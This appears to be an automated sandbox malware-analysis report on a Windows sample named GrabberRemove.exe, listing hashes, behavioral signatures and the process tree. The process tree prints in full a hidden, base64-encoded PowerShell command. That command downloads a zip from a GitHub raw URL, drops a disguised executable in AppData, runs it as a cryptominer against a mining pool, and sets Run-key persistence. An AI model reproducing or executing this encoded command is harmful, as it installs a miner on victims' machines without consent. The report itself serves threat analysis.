Analysis
- user interaction
yes - max time kernel
54s - max time network
57s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/10/2026, 11:39
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
GrabberRemove.exe
Resource
win10v2004-20260911-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
GrabberRemove.exe
Resource
win11ltsc2024-20260911-en
8 signatures
150 seconds
General
- Target GrabberRemove.exe
- Size 3.2MB
- Sample261003-nscd9ach86
- SHA256 2c202dec819ac9a186169df2234df69df74135fea960df5d805b27d0893afaa1
- MD5 02d673f06744135b994dab5e7699508f
- SHA1 33c0e91608c6b5896e24e26e3703bcd107e149f7
- SHA512 151127857dd208b6c3e894413e8433fd6fa0ed4c1daa58c9d177385cfdc75f744d3fd9931002d956503fd8ec4b70b8db94815ed40add22474f683fd6e4f4e503
- SSDEEP 49152:Xa8FdbT4cjZUSXaQvugtllLBPyLvbXbYUGu3H1wOhpCVjiV8:Xaa/8H1bjCVjY
- TLSH T124F58E2BA3E901ACC0B3C17D89475507EBB2344613A1EADB56A085665FB7BE01F7E730
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 4672 powershell.exe 9 4672 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4672 powershell.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion GrabberRemove.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 raw.githubusercontent.com 9 raw.githubusercontent.com - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe 4672 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4672 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 1876 wrote to memory of 4672 1876 GrabberRemove.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\GrabberRemove.exe"C:\Users\Admin\AppData\Local\Temp\GrabberRemove.exe"1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABoAD0AJwA3AEEAMAA2ADgAOAA4AEYARgAxAEYAOABFAEMAMAA0ADQANAAzADAARAAzADUAOQBCADUAMQA1AEIANAAzADEANABGADEARgBCAEMAMABDADQAMwBEAEIAMABFAEYARQBFAEUAMgBEADQAOQBFAEEAQwBBAEEAOQBGADkAQwBBACcAOwBpAGYAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfAAlAHsAdAByAHkAewAkAF8ALgBQAGEAdABoAH0AYwBhAHQAYwBoAHsAfQB9AHwAPwB7ACQAXwB9AHwAcwBvAHIAdAAgAC0AdQB8AD8AewAoAEcAZQB0AC0ARgBpAGwAZQBIAGEAcwBoACAAJABfACAALQBBAGwAZwBvAHIAaQB0AGgAbQAgAFMASABBADIANQA2ACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBIAGEAcwBoACAALQBlAHEAIAAkAGgAfQApAHsAJwBhAGwAcgBlAGEAZAB5ACAAcgB1AG4AbgBpAG4AZwAnAH0AZQBsAHMAZQB7ACQAZAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAE0AaQBjAHIAbwBzAG8AZgB0AEUAZABnAGUAIgA7AG4AaQAgACQAZAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAegA9ACIAJABkAFwAawAuAHoAaQBwACIAOwBpAHcAcgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZABpAGcAaQB0AGEAbABmAG8AcgBlAG4AcwBpAGsAZQByAC8AbQB5AHIAZQBhAGQAbQBlAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAHIAZQBhAGQAbQBlAC4AegBpAHAAJwAgAC0ATwB1AHQARgBpAGwAZQAgACQAegA7AGkAZgAoACgARwBlAHQALQBGAGkAbABlAEgAYQBzAGgAIAAkAHoAIAAtAEEAbABnAG8AcgBpAHQAaABtACAAUwBIAEEAMgA1ADYAKQAuAEgAYQBzAGgAIAAtAG4AZQAgACcANQBGADkANQA4AEIANwAxADEANgAzAEEAQgBCADgARAA4AEEAMQA1AEIAOAA1ADcARAAyADMAQQA2ADUARQAzADAAQgA2AEYAOQAzAEYANABCADEAMAA1AEYARQA2ADcANABDAEMAQQA2ADQAQgAyADkANgBGADUARQA1ADAANAAnACkAewB0AGgAcgBvAHcAIAAnAEgAYQBzAGgAIABmAGEAbABzAGMAaAAnAH0AOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAkAHoAIAAkAGQAIAAtAEYAbwByAGMAZQA7AE0AbwB2AGUALQBJAHQAZQBtACAAIgAkAGQAXAByAGUAYQBkAG0AZQAuAG0AZAAiACAAIgAkAGQAXABTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAkAHoALAAiACQAZABcAFMAdABhAHIAdAAtAFAAZQBhAHIAbAAuAGIAYQB0ACIALAAiACQAZABcAFMAdABhAHIAdAAtAFEAdQBhAG4AdAB1AHMALgBiAGEAdAAiACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAkAG4APQBAACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAC0ARQBBACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQB8AD8AewAkAF8ALgBOAGEAbQBlAH0AfAAlAHsAJABfAC4ATgBhAG0AZQB9ACkAOwAkAGcAPQAnACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ACAAaQBuACAAJABuACkAewAkAHQAPQAoACQAeAAgAC0AcgBlAHAAbABhAGMAZQAgACcAKAA/AGkAKQBuAHYAaQBkAGkAYQB8AGcAZQBmAG8AcgBjAGUAfAByAHQAeAB8AGcAdAB4AHwAYQBtAGQAfAByAGEAZABlAG8AbgB8AGkAbgB0AGUAbAB8AGEAcgBjAHwAZwByAGEAcABoAGkAYwBzAHwAZABpAHMAcABsAGEAeQB8AGEAZABhAHAAdABlAHIAfABzAGUAcgBpAGUAcwB8AFwAKAByAFwAKQB8AFwAKAB0AG0AXAApAHwAXAAoAGMAXAApACcALAAnACcAIAAtAHIAZQBwAGwAYQBjAGUAIAAnAFwAcwAnACwAJwAnACkAOwBpAGYAKAAkAHQAKQB7ACQAZwA9ACQAdAA7AGIAcgBlAGEAawB9AH0AOwBpAGYAKAAhACQAZwAgAC0AYQBuAGQAIAAkAG4ALgBDAG8AdQBuAHQAKQB7ACQAZwA9ACgAJABuAFsAMABdACAALQByAGUAcABsAGEAYwBlACAAJwBbAF4AQQAtAFoAYQAtAHoAMAAtADkAXQAnACwAJwAnACkAfQA7AGkAZgAoACEAJABnACkAewAkAGcAPQAnAEcAUABVACcAfQA7ACQAdwA9ACIAJABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFAC0AJAAoACQAZwAuAFQAbwBVAHAAcABlAHIAKAApACkAIgA7AFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgACIAJABkAFwAcwB0AGEAcgB0AC4AdgBiAHMAIgAgACgAJwBTAGUAdAAgAHMAaAA9AEMAcgBlAGEAdABlAE8AYgBqAGUAYwB0ACgAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAKQAgADoAIABzAGgALgBDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5AD0AcwBoAC4ARQB4AHAAYQBuAGQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFMAdAByAGkAbgBnAHMAKAAiACUAQQBQAFAARABBAFQAQQAlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACIAKQAgADoAIABzAGgALgBSAHUAbgAgACIAUwB5AHMAdABlAG0AUwBlAHQAdABpAG4AZwBzAEIAcgBvAGsAZQByAC4AZQB4AGUAIAAtAC0AdQByAGwAIABzAHQAcgBhAHQAdQBtACsAcwBzAGwAOgAvAC8AcAByAGwALgBrAHIAeQBwAHQAZQB4AC4AbgBlAHQAdwBvAHIAawA6ADgAMAA0ADgAIAAtAC0AdQBzAGUAcgAgAHAAcgBsADEAcABhAGwAagBjAGMAOQB5ADcANAB3AGUAYwAzADAAdwBlAHUAdgB3AGQAbQAyADkAawA5AHoAMAA0ADkAegB2AGgAeAB4AGQAMwBmAGcAegBnAHAAcAA0ADYAYQB3ADkAcwB5AHAAZgBxAGwAMgBmAHkAagB1AC8AJwArACQAdwArACcAIAAtAC0AZwBwAHUALQBmAGEAbgAgADcAMAAiACwAIAAwACwAIABGAGEAbABzAGUAJwApACAALQBFAG4AYwBvAGQAaQBuAGcAIABBAFMAQwBJAEkAOwBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAAUwB5AHMAdABlAG0AUwBlAHQAdABpAG4AZwBzAEIAcgBvAGsAZQByACAAKAAnAHcAcwBjAHIAaQBwAHQALgBlAHgAZQAgACIAJwArACQAZAArACcAXABzAHQAYQByAHQALgB2AGIAcwAiACcAKQA7AHcAcwBjAHIAaQBwAHQALgBlAHgAZQAgACIAJABkAFwAcwB0AGEAcgB0AC4AdgBiAHMAIgB9AA==2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4672
-